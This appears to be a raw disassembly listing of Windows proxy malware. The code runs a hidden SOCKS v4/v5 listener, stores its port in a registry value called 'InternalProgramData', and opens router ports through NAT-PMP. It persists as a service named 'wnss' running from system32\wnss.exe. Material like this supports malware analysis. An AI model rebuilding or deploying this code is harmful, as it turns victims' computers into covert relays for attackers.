; Attributes: bp-based frame


sub_40427A	proc near		; CODE XREF: sub_4042CD+1B9p

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_4]
		mov	esi, [ebp+arg_8]
		xor	edi, edi
		mov	byte ptr [ebx],	0


loc_40428C:				; CODE XREF: sub_40427A+47j
		push	1
		lea	eax, [ebp+var_1]
		push	eax
		push	[ebp+arg_0]
		call	sub_4016DC
		add	esp, 0Ch
		test	eax, eax
		jg	short loc_4042A5
		xor	eax, eax
		jmp	short loc_4042C6
; ---------------------------------------------------------------------------


loc_4042A5:				; CODE XREF: sub_40427A+25j
		mov	eax, edi
		inc	edi
		mov	dl, [ebp+var_1]
		mov	[ebx+eax], dl
		mov	byte ptr [ebx+edi], 0
		lea	eax, [esi-1]
		cmp	edi, eax
		jl	short loc_4042BD
		xor	eax, eax
		jmp	short loc_4042C6
; ---------------------------------------------------------------------------


loc_4042BD:				; CODE XREF: sub_40427A+3Dj
		cmp	[ebp+var_1], 0
		jnz	short loc_40428C
		xor	eax, eax
		inc	eax


loc_4042C6:				; CODE XREF: sub_40427A+29j
					; sub_40427A+41j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40427A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4042CD	proc near		; DATA XREF: sub_404967+2D3o
					; DMN1:00446F5Bo

var_430		= dword	ptr -430h
var_42B		= byte ptr -42Bh
var_42A		= byte ptr -42Ah
var_429		= byte ptr -429h
var_428		= dword	ptr -428h
var_421		= byte ptr -421h
var_420		= dword	ptr -420h
var_41C		= dword	ptr -41Ch
var_418		= dword	ptr -418h
var_411		= byte ptr -411h
var_410		= dword	ptr -410h
var_40A		= word ptr -40Ah
var_408		= byte ptr -408h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 430h
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_41C], eax
		mov	edi, [eax+8]
		mov	eax, [ebp+var_41C]
		mov	edx, [eax]
		mov	[ebp+var_410], edx
		mov	dx, [eax+4]
		mov	[ebp+var_40A], dx
		push	eax
		call	sub_401076
		pop	ecx
		and	[ebp+var_4], 0
		mov	eax, [ebp+var_410]
		mov	[ebp+var_420], eax
		push	eax
		call	sub_406DE0
		mov	[ebp+var_418], eax
		movzx	eax, [ebp+var_40A]
		push	eax
		push	[ebp+var_418]
		push	offset aConnectionFrom ; "connection from [%s]\n"
		call	sub_407320
		add	esp, 0Ch
		mov	[ebp+var_411], 0
		mov	[ebp+var_421], 0
		push	1
		lea	eax, [ebp+var_411]
		push	eax
		push	edi
		call	sub_4016DC
		add	esp, 0Ch
		test	eax, eax
		jle	loc_40493A
		push	offset dword_41285C
		call	dword_411CCC
		push	0
		push	[ebp+var_410]
		push	dword_412934
		call	sub_401FE3
		add	esp, 0Ch
		mov	[ebp+var_428], eax
		push	offset dword_41285C
		call	dword_411CD0
		cmp	[ebp+var_428], 0
		jnz	short loc_4043B6
		push	[ebp+var_418]
		push	offset aConnectionReje ; "connection rejected (from [%s])\n"
		call	nullsub_1
		pop	ecx
		pop	ecx
		jmp	loc_40493A
; ---------------------------------------------------------------------------


loc_4043B6:				; CODE XREF: sub_4042CD+D0j
		mov	[ebp+var_40A], 0
		and	[ebp+var_410], 0
		mov	al, [ebp+var_411]
		cmp	al, 4
		jz	short loc_4043D8
		cmp	al, 5
		jnz	loc_40493A


loc_4043D8:				; CODE XREF: sub_4042CD+101j
		push	[ebp+var_418]
		movsx	eax, [ebp+var_411]
		push	eax
		push	offset aSocksVIS ; "socks v%i  [%s]\n"
		call	nullsub_1
		add	esp, 0Ch
		cmp	[ebp+var_411], 4
		jnz	loc_4044D2
		push	1
		lea	eax, [ebp+var_421]
		push	eax
		push	edi
		call	sub_4016DC
		add	esp, 0Ch
		test	eax, eax
		jle	loc_40493A
		push	2
		lea	eax, [ebp+var_40A]
		push	eax
		push	edi
		call	sub_4016DC
		add	esp, 0Ch
		test	eax, eax
		jle	loc_40493A
		push	4
		lea	eax, [ebp+var_410]
		push	eax
		push	edi
		call	sub_4016DC
		add	esp, 0Ch
		test	eax, eax
		jle	loc_40493A
		push	edi
		call	sub_40424D
		pop	ecx
		test	eax, eax
		jz	loc_40493A
		mov	eax, [ebp+var_410]
		test	eax, 0FFFFFFh
		jnz	loc_4046BE
		test	eax, 0FF000000h
		jz	loc_4046BE
		push	400h
		lea	eax, [ebp+var_408]
		push	eax
		push	edi
		call	sub_40427A
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40493A
		lea	eax, [ebp+var_408]
		push	eax
		call	sub_4017BE
		pop	ecx
		mov	[ebp+var_410], eax
		test	eax, eax
		jz	short loc_4044BC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4044BC
		test	eax, eax
		jnz	loc_4046BE


loc_4044BC:				; CODE XREF: sub_4042CD+1DEj
					; sub_4042CD+1E5j
		push	0
		push	0
		push	4
		push	edi
		push	4
		call	sub_4041FB
		add	esp, 14h
		jmp	loc_40493A
; ---------------------------------------------------------------------------


loc_4044D2:				; CODE XREF: sub_4042CD+12Dj
		cmp	[ebp+var_411], 5
		jnz	loc_40493A
		mov	[ebp+var_429], 0
		push	1
		lea	eax, [ebp+var_429]
		push	eax
		push	edi
		call	sub_4016DC
		add	esp, 0Ch
		test	eax, eax
		jg	short loc_404522
		jmp	loc_40493A
; ---------------------------------------------------------------------------


loc_404501:				; CODE XREF: sub_4042CD+25Cj
		push	1
		lea	eax, [ebp+var_42A]
		push	eax
		push	edi
		call	sub_4016DC
		add	esp, 0Ch
		test	eax, eax
		jle	loc_40493A
		sub	[ebp+var_429], 1


loc_404522:				; CODE XREF: sub_4042CD+22Dj
		cmp	[ebp+var_429], 0
		jnz	short loc_404501
		mov	[ebp+var_430], 5
		push	2
		lea	eax, [ebp+var_430]
		push	eax
		push	edi
		call	sub_401787
		add	esp, 0Ch
		test	eax, eax
		jle	loc_40493A
		push	1
		lea	eax, [ebp+var_42A]
		push	eax
		push	edi
		call	sub_4016DC
		add	esp, 0Ch
		test	eax, eax
		jle	loc_40493A
		cmp	[ebp+var_42A], 5
		jnz	loc_40493A
		push	1
		lea	eax, [ebp+var_421]
		push	eax
		push	edi
		call	sub_4016DC
		add	esp, 0Ch
		test	eax, eax
		jle	loc_40493A
		push	1
		lea	eax, [ebp+var_42A]
		push	eax
		push	edi
		call	sub_4016DC
		add	esp, 0Ch
		test	eax, eax
		jle	loc_40493A
		mov	[ebp+var_42B], 0
		push	1
		lea	eax, [ebp+var_42B]
		push	eax
		push	edi
		call	sub_4016DC
		add	esp, 0Ch
		test	eax, eax
		jle	loc_40493A
		cmp	[ebp+var_42B], 1
		jnz	short loc_4045F3
		push	4
		lea	eax, [ebp+var_410]
		push	eax
		push	edi
		call	sub_4016DC
		add	esp, 0Ch
		test	eax, eax
		jg	loc_4046A4
		jmp	loc_40493A
; ---------------------------------------------------------------------------


loc_4045F3:				; CODE XREF: sub_4042CD+305j
		cmp	[ebp+var_42B], 3
		jnz	loc_40468E
		push	1
		lea	eax, [ebp+var_429]
		push	eax
		push	edi
		call	sub_4016DC
		add	esp, 0Ch
		test	eax, eax
		jle	loc_40493A
		cmp	[ebp+var_429], 0
		jz	loc_40493A
		movsx	eax, [ebp+var_429]
		push	eax
		lea	eax, [ebp+var_408]
		push	eax
		push	edi
		call	sub_4016DC
		add	esp, 0Ch
		test	eax, eax
		jle	loc_40493A
		movsx	eax, [ebp+var_429]
		mov	[ebp+eax+var_408], 0
		lea	eax, [ebp+var_408]
		push	eax
		call	sub_4017BE
		pop	ecx
		mov	[ebp+var_410], eax
		test	eax, eax
		jz	short loc_404678
		cmp	eax, 0FFFFFFFFh
		jz	short loc_404678
		test	eax, eax
		jnz	short loc_4046A4


loc_404678:				; CODE XREF: sub_4042CD+39Ej
					; sub_4042CD+3A5j
		push	0
		push	0
		push	4
		push	edi
		push	5
		call	sub_4041FB
		add	esp, 14h
		jmp	loc_40493A
; ---------------------------------------------------------------------------


loc_40468E:				; CODE XREF: sub_4042CD+32Dj
		push	0
		push	0
		push	8
		push	edi
		push	5
		call	sub_4041FB
		add	esp, 14h
		jmp	loc_40493A
; ---------------------------------------------------------------------------


loc_4046A4:				; CODE XREF: sub_4042CD+31Bj
					; sub_4042CD+3A9j
		push	2
		lea	eax, [ebp+var_40A]
		push	eax
		push	edi
		call	sub_4016DC
		add	esp, 0Ch
		test	eax, eax
		jle	loc_40493A


loc_4046BE:				; CODE XREF: sub_4042CD+19Bj
					; sub_4042CD+1A6j ...
		movzx	eax, [ebp+var_40A]
		push	eax
		call	sub_406D98
		mov	[ebp+var_40A], ax
		test	ax, ax
		jnz	short loc_4046F3
		push	0
		push	0
		push	2
		push	edi
		movsx	eax, [ebp+var_411]
		push	eax
		call	sub_4041FB
		add	esp, 14h
		jmp	loc_40493A
; ---------------------------------------------------------------------------


loc_4046F3:				; CODE XREF: sub_4042CD+408j
		cmp	[ebp+var_421], 1
		jz	short loc_404722
		movzx	eax, [ebp+var_40A]
		push	eax
		push	[ebp+var_410]
		push	7
		push	edi
		movsx	eax, [ebp+var_411]
		push	eax
		call	sub_4041FB
		add	esp, 14h
		jmp	loc_40493A
; ---------------------------------------------------------------------------


loc_404722:				; CODE XREF: sub_4042CD+42Dj
		call	sub_401359
		mov	[ebp+var_4], eax
		test	eax, eax
		jnz	short loc_40474A
		push	0
		push	0
		push	1
		push	edi
		movsx	eax, [ebp+var_411]
		push	eax
		call	sub_4041FB
		add	esp, 14h
		jmp	loc_40493A
; ---------------------------------------------------------------------------


loc_40474A:				; CODE XREF: sub_4042CD+45Fj
		mov	eax, [ebp+var_410]
		mov	[ebp+var_420], eax
		push	eax
		call	sub_406DE0
		mov	[ebp+var_418], eax
		movzx	eax, [ebp+var_40A]
		push	eax
		push	[ebp+var_418]
		push	offset aConnectingToSI ; "connecting to	%s:%i\n"
		call	nullsub_1
		add	esp, 0Ch
		movzx	eax, [ebp+var_40A]
		push	eax
		push	[ebp+var_410]
		push	[ebp+var_4]
		call	sub_401567
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4047E1
		call	sub_406DF2
		push	eax
		movzx	eax, [ebp+var_40A]
		push	eax
		push	[ebp+var_418]
		push	offset aConnectionToSI ; "connection to	%s:%i failed! %-( (%i)\n"
		call	nullsub_1
		add	esp, 10h
		movzx	eax, [ebp+var_40A]
		push	eax
		push	[ebp+var_410]
		push	4
		push	edi
		movsx	eax, [ebp+var_411]
		push	eax
		call	sub_4041FB
		add	esp, 14h
		jmp	loc_40493A
; ---------------------------------------------------------------------------


loc_4047E1:				; CODE XREF: sub_4042CD+4CBj
		movzx	eax, [ebp+var_40A]
		push	eax
		push	[ebp+var_418]
		push	offset aConnectedToSI ;	"connected to %s:%i\n"
		call	nullsub_1
		add	esp, 0Ch
		movzx	eax, [ebp+var_40A]
		push	eax
		push	[ebp+var_410]
		push	0
		push	edi
		movsx	eax, [ebp+var_411]
		push	eax
		call	sub_4041FB
		add	esp, 14h
		test	eax, eax
		jz	loc_40493A
		push	offset aTransferringDa ; "transferring data...\n"
		call	nullsub_1
		pop	ecx
		xor	esi, esi


loc_404832:				; CODE XREF: sub_4042CD+64Cj
					; sub_4042CD+65Dj
		inc	esi
		push	edi
		call	sub_4014CF
		pop	ecx
		test	eax, eax
		jl	loc_40492F
		push	edi
		call	sub_401542
		pop	ecx
		mov	ebx, eax
		test	ebx, ebx
		jl	loc_40492F
		cmp	esi, 1Eh
		jle	short loc_40485F
		test	ebx, ebx
		jnz	short loc_40485F
		xor	ebx, ebx
		inc	ebx


loc_40485F:				; CODE XREF: sub_4042CD+589j
					; sub_4042CD+58Dj
		test	ebx, ebx
		jle	short loc_4048AB
		cmp	ebx, 400h
		jle	short loc_404870
		mov	ebx, 400h


loc_404870:				; CODE XREF: sub_4042CD+59Cj
		push	ebx
		lea	eax, [ebp+var_408]
		push	eax
		push	edi
		call	sub_4016DC
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		test	eax, eax
		jle	loc_40492F
		push	[ebp+var_8]
		lea	eax, [ebp+var_408]
		push	eax
		push	[ebp+var_4]
		call	sub_401787
		add	esp, 0Ch
		test	eax, eax
		jle	loc_40493A
		xor	esi, esi


loc_4048AB:				; CODE XREF: sub_4042CD+594j
		push	[ebp+var_4]
		call	sub_4014CF
		pop	ecx
		test	eax, eax
		jl	short loc_40492F
		push	[ebp+var_4]
		call	sub_401542
		pop	ecx
		mov	ebx, eax
		test	ebx, ebx
		jl	short loc_40492F
		cmp	esi, 1Eh
		jle	short loc_4048D3
		test	ebx, ebx
		jnz	short loc_4048D3
		xor	ebx, ebx
		inc	ebx


loc_4048D3:				; CODE XREF: sub_4042CD+5FDj
					; sub_4042CD+601j
		test	ebx, ebx
		jle	short loc_404917
		cmp	ebx, 400h
		jle	short loc_4048E4
		mov	ebx, 400h


loc_4048E4:				; CODE XREF: sub_4042CD+610j
		push	ebx
		lea	eax, [ebp+var_408]
		push	eax
		push	[ebp+var_4]
		call	sub_4016DC
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		test	eax, eax
		jle	short loc_40492F
		push	[ebp+var_8]
		lea	eax, [ebp+var_408]
		push	eax
		push	edi
		call	sub_401787
		add	esp, 0Ch
		test	eax, eax
		jle	short loc_40493A
		xor	esi, esi


loc_404917:				; CODE XREF: sub_4042CD+608j
		test	esi, esi
		jz	loc_404832
		push	12Ch
		call	dword_411D00
		jmp	loc_404832
; ---------------------------------------------------------------------------


loc_40492F:				; CODE XREF: sub_4042CD+56Fj
					; sub_4042CD+580j ...
		push	offset aDataExchangeCo ; "data exchange	complete\n"
		call	nullsub_1
		pop	ecx


loc_40493A:				; CODE XREF: sub_4042CD+91j
					; sub_4042CD+E4j ...
		push	offset aConnectionClos ; "connection closed.\n"
		call	nullsub_1
		pop	ecx
		push	edi
		call	sub_4014C2
		pop	ecx
		cmp	[ebp+var_4], 0
		jz	short loc_40495B
		push	[ebp+var_4]
		call	sub_4014C2
		pop	ecx


loc_40495B:				; CODE XREF: sub_4042CD+683j
		call	sub_407A60
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4042CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404967	proc near		; DATA XREF: sub_406736+62o
					; DMN1:00448AB9o

var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_6		= word ptr -6
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		and	[ebp+var_4], 0
		and	dword_41100C, 0
		mov	eax, dword_41100C
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		push	offset aSoftwareMicros ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		push	80000001h
		call	dword_411E24
		test	eax, eax
		jnz	short loc_4049DF
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	0
		push	offset aInternalprogra ; "InternalProgramData"
		push	[ebp+var_C]
		call	dword_411E44
		test	eax, eax
		jnz	short loc_4049D6
		mov	eax, [ebp+var_10]
		mov	dword_41100C, eax


loc_4049D6:				; CODE XREF: sub_404967+65j
		push	[ebp+var_C]
		call	dword_411E2C


loc_4049DF:				; CODE XREF: sub_404967+45j
		push	offset aListener___ ; "listener...\n"
		call	nullsub_1
		pop	ecx
		lea	eax, [ebp+var_1A]
		push	eax
		call	sub_4024A6
		pop	ecx
		mov	[ebp+var_6], ax
		test	ax, ax
		jz	short loc_404A21
		cmp	ax, 0FFFFh
		jz	short loc_404A21
		movzx	eax, [ebp+var_6]
		cmp	dword_411010, eax
		jz	short loc_404A21
		movzx	eax, [ebp+var_6]
		mov	dword_411010, eax
		movzx	eax, [ebp+var_1A]
		mov	dword_41100C, eax


loc_404A21:				; CODE XREF: sub_404967+94j
					; sub_404967+9Aj ...
		call	sub_401359
		mov	dword_411030, eax


loc_404A2B:				; CODE XREF: sub_404967+140j
		cmp	dword_41100C, 0
		jnz	short loc_404A67


loc_404A34:				; CODE XREF: sub_404967+F4j
					; sub_404967+FBj
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_401001
		pop	ecx
		mov	ecx, 9C40h
		cdq
		idiv	ecx
		lea	eax, [edx+4E20h]
		mov	dword_41100C, eax
		mov	eax, dword_41100C
		cmp	eax, 24EAh
		jz	short loc_404A34
		cmp	eax, 0BB8h
		jz	short loc_404A34
		xor	ebx, ebx
		inc	ebx


loc_404A67:				; CODE XREF: sub_404967+CBj
		movzx	eax, word ptr dword_41100C
		push	eax
		push	0
		push	dword_411030
		call	sub_4015B7
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_404AA9
		and	dword_41100C, 0
		and	dword_411010, 0
		push	dword_411030
		call	sub_4014C2
		pop	ecx
		call	sub_401359
		mov	dword_411030, eax
		jmp	short loc_404A2B
; ---------------------------------------------------------------------------


loc_404AA9:				; CODE XREF: sub_404967+11Aj
		push	dword_41100C
		push	offset aSocksPortI ; "SOCKS port: %i\n"
		call	sub_407320
		pop	ecx
		pop	ecx
		mov	eax, dword_41100C
		mov	dword_411010, eax
		call	sub_403113
		mov	[ebp+var_14], eax
		movzx	eax, word ptr dword_411010
		push	eax
		movzx	eax, word ptr dword_41100C
		push	eax
		push	[ebp+var_14]
		call	sub_403322
		add	esp, 0Ch
		movzx	eax, ax
		mov	dword_411010, eax
		cmp	dword_411010, 0
		jnz	short loc_404B05
		mov	eax, dword_41100C
		mov	dword_411010, eax
		jmp	short loc_404B17
; ---------------------------------------------------------------------------


loc_404B05:				; CODE XREF: sub_404967+190j
		push	dword_411010
		push	offset aNatpmpForwarde ; "NATPMP: forwarded to:	%i\n"
		call	sub_407320
		pop	ecx
		pop	ecx


loc_404B17:				; CODE XREF: sub_404967+19Cj
		movzx	eax, word ptr dword_41100C
		push	eax
		push	eax
		call	sub_402B02
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_404B30
		mov	eax, dword_41100C


loc_404B30:				; CODE XREF: sub_404967+1C2j
		test	ebx, ebx
		jz	short loc_404B86
		mov	eax, dword_41100C
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		push	offset aSoftwareMicros ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		push	80000001h
		call	dword_411E24
		test	eax, eax
		jnz	short loc_404B86
		push	4
		lea	eax, [ebp+var_10]
		push	eax
		push	4
		push	0
		push	offset aInternalprogra ; "InternalProgramData"
		push	[ebp+var_C]
		call	dword_411E28
		push	[ebp+var_C]
		call	dword_411E2C


loc_404B86:				; CODE XREF: sub_404967+1CBj
					; sub_404967+1FCj
		push	1
		push	offset dword_411024
		call	dword_411D04
		push	1
		push	offset dword_41102C
		call	dword_411D04
		push	offset aStartingCommTh ; "starting COMM	thread...\n"
		call	nullsub_1
		pop	ecx
		push	0
		push	0
		push	offset sub_40400E
		call	sub_4079D0
		add	esp, 0Ch
		push	eax
		call	dword_411CF8
		push	0C8h
		call	dword_411D00
		push	0
		push	0
		push	offset sub_403FEA
		call	sub_4079D0
		add	esp, 0Ch
		push	eax
		call	dword_411CF8
		push	0C8h
		call	dword_411D00


loc_404BF1:				; CODE XREF: sub_404967+2B4j
					; sub_404967+2E7j
		push	dword_411030
		call	sub_401607
		pop	ecx
		test	eax, eax
		jz	short loc_404C50
		lea	eax, [ebp+var_2A]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		push	dword_411030
		call	sub_40166C
		add	esp, 0Ch
		mov	edi, eax
		test	edi, edi
		jz	short loc_404BF1
		push	0Ch
		call	sub_401048
		pop	ecx
		mov	esi, eax
		mov	eax, [ebp+var_28]
		mov	[esi], eax
		mov	ax, [ebp+var_2A]
		mov	[esi+4], ax
		mov	[esi+8], edi
		push	esi
		push	0
		push	offset sub_4042CD
		call	sub_4079D0
		add	esp, 0Ch
		push	eax
		call	dword_411CF8
		jmp	short loc_404BF1
; ---------------------------------------------------------------------------


loc_404C50:				; CODE XREF: sub_404967+298j
		push	0
		push	offset dword_41102C
		call	dword_411D04
		push	dword_411030
		call	sub_4014C2
		pop	ecx
		and	dword_411030, 0
		call	sub_407A60
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_404967	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 854h
		push	ebx
		mov	ebx, [ebp+10h]
		push	44h
		push	0
		lea	eax, [ebp-44h]
		push	eax
		call	sub_407690
		add	esp, 0Ch
		mov	dword ptr [ebp-44h], 44h
		test	ebx, ebx
		jz	short loc_404CB9
		push	offset asc_40EDE8 ; "\""
		lea	eax, [ebp-844h]
		push	eax
		call	sub_407730
		pop	ecx
		pop	ecx
		jmp	short loc_404CC0
; ---------------------------------------------------------------------------


loc_404CB9:				; CODE XREF: DMN0:00404CA2j
		mov	byte ptr [ebp-844h], 0


loc_404CC0:				; CODE XREF: DMN0:00404CB7j
		cmp	dword ptr [ebp+8], 0
		jz	short loc_404CD9
		push	dword ptr [ebp+8]
		lea	eax, [ebp-844h]
		push	eax
		call	sub_407750
		pop	ecx
		pop	ecx
		jmp	short loc_404CEC
; ---------------------------------------------------------------------------


loc_404CD9:				; CODE XREF: DMN0:00404CC4j
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe"
		lea	eax, [ebp-844h]
		push	eax
		call	sub_407750
		pop	ecx
		pop	ecx


loc_404CEC:				; CODE XREF: DMN0:00404CD7j
		test	ebx, ebx
		jz	short loc_404D03
		push	offset asc_40EDE8 ; "\""
		lea	eax, [ebp-844h]
		push	eax
		call	sub_407750
		pop	ecx
		pop	ecx


loc_404D03:				; CODE XREF: DMN0:00404CEEj
		cmp	dword ptr [ebp+0Ch], 0
		jz	short loc_404D2D
		push	offset asc_40EDC9 ; " "
		lea	eax, [ebp-844h]
		push	eax
		call	sub_407750
		pop	ecx
		pop	ecx
		push	dword ptr [ebp+0Ch]
		lea	eax, [ebp-844h]
		push	eax
		call	sub_407750
		pop	ecx
		pop	ecx


loc_404D2D:				; CODE XREF: DMN0:00404D07j
		lea	eax, [ebp-854h]
		push	eax
		lea	eax, [ebp-44h]
		push	eax
		push	0
		push	0
		push	0
		push	0
		push	0
		push	0
		lea	eax, [ebp-844h]
		push	eax
		push	0
		call	dword_411D10
		test	eax, eax
		jz	short loc_404D72
		push	dword ptr [ebp-850h]
		call	dword_411CF8
		push	dword ptr [ebp-854h]
		call	dword_411CF8
		xor	eax, eax
		inc	eax


loc_404D72:				; CODE XREF: DMN0:00404D55j
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_404D77	proc near		; CODE XREF: sub_405CA2+21p
					; sub_4067B0:loc_406AECp ...
		push	ebx
		push	esi
		push	0F003Fh
		push	0
		push	0
		call	dword_411E48
		mov	ebx, eax
		test	eax, eax
		jz	short loc_404DBE
		push	4
		push	offset aWnss	; "wnss"
		push	ebx
		call	dword_411E4C
		mov	esi, eax
		test	esi, esi
		jnz	short loc_404DAD
		push	ebx
		call	dword_411E50
		xor	eax, eax
		jmp	short loc_404DBE
; ---------------------------------------------------------------------------


loc_404DAD:				; CODE XREF: sub_404D77+29j
		push	esi
		call	dword_411E50
		push	ebx
		call	dword_411E50
		xor	eax, eax
		inc	eax


loc_404DBE:				; CODE XREF: sub_404D77+15j
					; sub_404D77+34j
		pop	esi
		pop	ebx
		retn
sub_404D77	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404DC1	proc near		; CODE XREF: sub_4067B0+3C4p

var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		push	0F003Fh
		push	0
		push	0
		call	dword_411E48
		mov	ebx, eax
		test	eax, eax
		jz	short loc_404E2B
		push	94h
		push	offset aWnss	; "wnss"
		push	ebx
		call	dword_411E4C
		mov	esi, eax
		test	esi, esi
		jnz	short loc_404E01
		push	ebx
		call	dword_411E50
		xor	eax, eax
		jmp	short loc_404E2B
; ---------------------------------------------------------------------------


loc_404E01:				; CODE XREF: sub_404DC1+33j
		xor	edi, edi
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		call	dword_411E54
		test	eax, eax
		jz	short loc_404E1B
		cmp	[ebp+var_18], 4
		jnz	short loc_404E1B
		xor	edi, edi
		inc	edi


loc_404E1B:				; CODE XREF: sub_404DC1+4Fj
					; sub_404DC1+55j
		push	esi
		call	dword_411E50
		push	ebx
		call	dword_411E50
		mov	eax, edi


loc_404E2B:				; CODE XREF: sub_404DC1+1Cj
					; sub_404DC1+3Ej
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_404DC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404E32	proc near		; CODE XREF: sub_404EC7+32p
					; sub_404F15+39p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	0
		push	0
		push	0
		push	0
		push	0
		push	0
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe"
		push	0
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	dword_411E58
		test	eax, eax
		jnz	short loc_404E74
		call	dword_411CE8
		cmp	eax, 430h
		jnz	short loc_404E70
		or	eax, 0FFFFFFFFh
		jmp	short loc_404EC2
; ---------------------------------------------------------------------------


loc_404E70:				; CODE XREF: sub_404E32+37j
		xor	eax, eax
		jmp	short loc_404EC2
; ---------------------------------------------------------------------------


loc_404E74:				; CODE XREF: sub_404E32+2Aj
		mov	[ebp+var_1C], 1
		and	[ebp+var_18], 0
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		mov	[ebp+var_8], 1
		lea	eax, [ebp+var_1C]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_14]
		push	eax
		push	2
		push	ebx
		call	dword_411E5C
		test	eax, eax
		jnz	short loc_404EBF
		call	dword_411CE8
		cmp	eax, 430h
		jnz	short loc_404EBB
		or	eax, 0FFFFFFFFh
		jmp	short loc_404EC2
; ---------------------------------------------------------------------------


loc_404EBB:				; CODE XREF: sub_404E32+82j
		xor	eax, eax
		jmp	short loc_404EC2
; ---------------------------------------------------------------------------


loc_404EBF:				; CODE XREF: sub_404E32+75j
		xor	eax, eax
		inc	eax


loc_404EC2:				; CODE XREF: sub_404E32+3Cj
					; sub_404E32+40j ...
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_404E32	endp


; =============== S U B	R O U T	I N E =======================================



sub_404EC7	proc near		; CODE XREF: sub_404FE9+6Dp
					; sub_405CA2:loc_405CDAp
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	0F003Fh
		push	0
		push	0
		call	dword_411E48
		mov	ebx, eax
		test	eax, eax
		jz	short loc_404F11
		push	96h
		push	offset aWnss	; "wnss"
		push	ebx
		call	dword_411E4C
		mov	esi, eax
		test	esi, esi
		jz	short loc_404F08
		push	esi
		call	sub_404E32
		pop	ecx
		mov	edi, eax
		push	esi
		call	dword_411E50


loc_404F08:				; CODE XREF: sub_404EC7+2Fj
		push	ebx
		call	dword_411E50
		mov	eax, edi


loc_404F11:				; CODE XREF: sub_404EC7+18j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_404EC7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404F15	proc near		; CODE XREF: DMN0:00405BD9p
					; sub_4067B0+428p ...

var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	0F003Fh
		push	0
		push	0
		call	dword_411E48
		mov	edi, eax
		test	eax, eax
		jz	loc_404FE2
		push	16h
		push	offset aWnss	; "wnss"
		push	edi
		call	dword_411E4C
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_404F71
		push	ebx
		call	sub_404E32
		pop	ecx
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_404F6D
		push	ebx
		call	dword_411E50
		push	edi
		call	dword_411E50
		mov	eax, esi
		jmp	short loc_404FE2
; ---------------------------------------------------------------------------


loc_404F6D:				; CODE XREF: sub_404F15+44j
		xor	esi, esi
		jmp	short loc_404F81
; ---------------------------------------------------------------------------


loc_404F71:				; CODE XREF: sub_404F15+36j
		push	14h
		push	offset aWnss	; "wnss"
		push	edi
		call	dword_411E4C
		mov	ebx, eax


